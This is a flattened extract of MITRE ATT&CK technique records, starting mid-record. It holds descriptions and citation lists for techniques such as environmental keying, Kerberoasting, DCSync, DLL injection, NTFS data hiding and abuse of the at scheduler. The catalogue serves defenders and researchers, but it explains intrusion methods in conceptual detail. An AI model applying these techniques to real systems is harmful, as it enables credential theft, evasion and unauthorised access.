source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/004 external_id: T1078.004 source_name: AWS Identity Federation description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020. url: https://aws.amazon.com/identity/federation/ source_name: Google Federating GC description: Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020. url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction source_name: Microsoft Deploying AD Federation description: Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs

kill_chain_name: mitre-attack phase_name: initial-access

Azure AD

Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs). Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.

enterprise-attack

Environmental Keying

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1480/001 external_id: T1480.001 source_name: Proofpoint Router Malvertising description: Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019. url: https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices source_name: Kaspersky Gauss Whitepaper description: Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019. url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf source_name: Ebowla: Genetic Malware description: Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019. url: https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf source_name: EK Clueless Agents description: Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019. url: https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf source_name: EK Impeding Malware Analysis description: Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019. url: https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf source_name: Demiguise Guardrail Router Logo description: Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019. url: https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js source_name: Environmental Keyed HTA description: Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019. url: https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/

kill_chain_name: mitre-attack phase_name: defense-evasion

Linux

Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.

enterprise-attack

Fallback Channels

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1008 external_id: T1008 source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

kill_chain_name: mitre-attack phase_name: command-and-control

Linux

Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

enterprise-attack

NTFS File Attributes

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1564/004 external_id: T1564.004 source_name: MalwareBytes ADS July 2015 description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018. url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/ source_name: SpectorOps Host-Based Jul 2017 description: Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018. url: https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea source_name: Journey into IR ZeroAccess NTFS EA description: Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016. url: http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html source_name: Microsoft NTFS File Attributes Aug 2010 description: Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018. url: https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/ source_name: Microsoft ADS Mar 2014 description: Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018. url: https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/ source_name: Microsoft File Streams description: Microsoft. (n.d.). File Streams. Retrieved December 2, 2014. url: http://msdn.microsoft.com/en-us/library/aa364404 source_name: Oddvar Moe ADS2 Apr 2018 description: Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018. url: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/ source_name: Oddvar Moe ADS1 Jan 2018 description: Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018. url: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/ source_name: Symantec ADS May 2009 description: Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018. url: https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016) This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015) Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)

enterprise-attack

Kerberoasting

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1558/003 external_id: T1558.003 source_name: Empire InvokeKerberoast Oct 2016 description: EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018. url: https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 source_name: AdSecurity Cracking Kerberos Dec 2015 description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018. url: https://adsecurity.org/?p=2293 source_name: Microsoft Detecting Kerberoasting Feb 2018 description: Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018. url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/ source_name: Microsoft SPN description: Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018. url: https://msdn.microsoft.com/library/ms677949.aspx source_name: Microsoft SetSPN description: Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018. url: https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx source_name: SANS Attacking Kerberos Nov 2014 description: Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018. url: https://redsiege.com/kerberoast-slides source_name: Harmj0y Kerberoast Nov 2016 description: Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018. url: https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

kill_chain_name: mitre-attack phase_name: credential-access

Windows

Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync. Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)

enterprise-attack

DCSync

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1003/006 external_id: T1003.006 source_name: Microsoft DRSR Dec 2017 description: Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017. url: https://msdn.microsoft.com/library/cc228086.aspx source_name: Microsoft GetNCCChanges description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017. url: https://msdn.microsoft.com/library/dd207691.aspx source_name: Samba DRSUAPI description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017. url: https://wiki.samba.org/index.php/DRSUAPI source_name: Wine API samlib.dll description: Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017. url: https://source.winehq.org/WineAPI/samlib.html source_name: ADSecurity Mimikatz DCSync description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017. url: https://adsecurity.org/?p=1729 source_name: Harmj0y Mimikatz and DCSync description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017. url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ source_name: InsiderThreat ChangeNTLM July 2017 description: Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017. url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM source_name: GitHub Mimikatz lsadump Module description: Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017. url: https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump source_name: Microsoft NRPC Dec 2017 description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017. url: https://msdn.microsoft.com/library/cc237008.aspx source_name: Microsoft SAMR description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017. url: https://msdn.microsoft.com/library/cc245496.aspx source_name: AdSecurity DCSync Sept 2015 description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017. url: https://adsecurity.org/?p=1729 source_name: Harmj0y DCSync Sept 2015 description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017. url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/

kill_chain_name: mitre-attack phase_name: credential-access

Windows

An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or <code>systemsetup</code> on macOS.(Citation: MSDN System Time)(Citation: Technet Windows Time Service)(Citation: systemsetup mac time) These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.(Citation: Mac Time Sync)(Citation: linux system time) System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>.(Citation: Technet Windows Time Service) In addition, adversaries can discover device uptime through functions such as <code>GetTickCount()</code> to determine how long it has been since the system booted up.(Citation: Virtualization/Sandbox Evasion) On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd) In addition, system calls – such as <code>time()</code> – have been used to collect the current time on Linux devices.(Citation: MAGNET GOBLIN) On macOS systems, adversaries may use commands such as <code>systemsetup -gettimezone</code> or <code>timeIntervalSinceNow</code> to gather current time zone information or current date and time.(Citation: System Information Discovery Technique)(Citation: ESET DazzleSpy Jan 2022) This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)

enterprise-attack

System Time Discovery

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1124 external_id: T1124 source_name: systemsetup mac time description: Apple Support. (n.d.). About systemsetup in Remote Desktop. Retrieved March 27, 2024. url: https://support.apple.com/en-gb/guide/remote-desktop/apd95406b8d/mac source_name: linux system time description: ArchLinux. (2024, February 1). System Time. Retrieved March 27, 2024. url: https://wiki.archlinux.org/title/System_time source_name: MAGNET GOBLIN description: Check Point Research. (2024, March 8). MAGNET GOBLIN TARGETS PUBLICLY FACING SERVERS USING 1-DAY VULNERABILITIES. Retrieved March 27, 2024. url: https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/ source_name: show_clock_detail_cisco_cmd description: Cisco. (2023, March 6). show clock detail - Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s2.html#wp1896741674 source_name: Mac Time Sync description: Cone, Matt. (2021, January 14). Synchronize your Mac's Clock with a Time Server. Retrieved March 27, 2024. url: https://www.macinstruct.com/tutorials/synchronize-your-macs-clock-with-a-time-server/ source_name: ESET DazzleSpy Jan 2022 description: M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022. url: https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/ source_name: AnyRun TimeBomb description: Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021. url: https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/ source_name: Technet Windows Time Service description: Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016. url: https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings source_name: MSDN System Time description: Microsoft. (n.d.). System Time. Retrieved November 25, 2016. url: https://msdn.microsoft.com/ms724961.aspx source_name: RSA EU12 They're Inside description: Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved November 25, 2016. url: https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf source_name: System Information Discovery Technique description: YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). The System Information Discovery Technique Explained - MITRE ATT&CK T1082. Retrieved March 27, 2024. url: https://www.picussecurity.com/resource/the-system-information-discovery-technique-explained-mitre-attack-t1082 source_name: Virtualization/Sandbox Evasion description: YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). Virtualization/Sandbox Evasion - How Attackers Avoid Malware Analysis. Retrieved December 26, 2023. url: https://www.picussecurity.com/resource/virtualization/sandbox-evasion-how-attackers-avoid-malware-analysis

kill_chain_name: mitre-attack phase_name: discovery

Windows

Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at) Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM). In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)

enterprise-attack

At

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/002 external_id: T1053.002 source_name: rowland linux at 2019 description: Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021. url: https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/ source_name: GTFObins at description: Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021. url: https://gtfobins.github.io/gtfobins/at/ source_name: Linux at description: IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022. url: https://man7.org/linux/man-pages/man1/at.1p.html source_name: Twitter Leoloobeek Scheduled Task description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. url: https://twitter.com/leoloobeek/status/939248813465853953 source_name: Microsoft Scheduled Task Events Win10 description: Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events source_name: TechNet Scheduled Task Events description: Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. url: https://technet.microsoft.com/library/dd315590.aspx source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 source_name: TechNet Forum Scheduled Task Operational Setting description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen

kill_chain_name: mitre-attack phase_name: privilege-escalation

Windows

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.

enterprise-attack

Dynamic-link Library Injection

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1055/001 external_id: T1055.001 source_name: Hiding Malicious Code with Module Stomping description: Aliz Hammond. (2019, August 15). Hiding Malicious Code with "Module Stomping": Part 1. Retrieved July 14, 2022. url: https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/ source_name: Elastic HuntingNMemory June 2017 description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017. url: https://www.endgame.com/blog/technical-blog/hunting-memory source_name: Elastic Process Injection July 2017 description: Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017. url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process source_name: Module Stomping for Shellcode Injection description: Red Teaming Experiments. (n.d.). Module Stomping for Shellcode Injection. Retrieved July 14, 2022. url: https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection

kill_chain_name: mitre-attack phase_name: privilege-escalation

Windows

Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

enterprise-attack

Exploits

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1588/005 external_id: T1588.005 source_name: Exploit Database description: Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020. url: https://www.exploit-db.com/ source_name: TempertonDarkHotel description: Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017. url: https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage source_name: NationsBuying description: Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017. url: https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html source_name: PegasusCitizenLab description: Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016. url: https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/ source_name: Wired SandCat Oct 2019 description: Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020. url: https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec

kill_chain_name: mitre-attack phase_name: resource-development

PRE

Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.

enterprise-attack

Modify Authentication Process

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556 external_id: T1556 source_name: Clymb3r Function Hook Passwords Sept 2013 description: Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017. url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/ source_name: Xorrior Authorization Plugins description: Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021. url: https://xorrior.com/persistent-credential-theft/ source_name: Dell Skeleton description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019. url: https://www.secureworks.com/research/skeleton-key-malware-analysis source_name: dump_pwd_dcsync description: Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021. url: https://adsecurity.org/?p=2053 source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx

kill_chain_name: mitre-attack phase_name: persistence

Windows

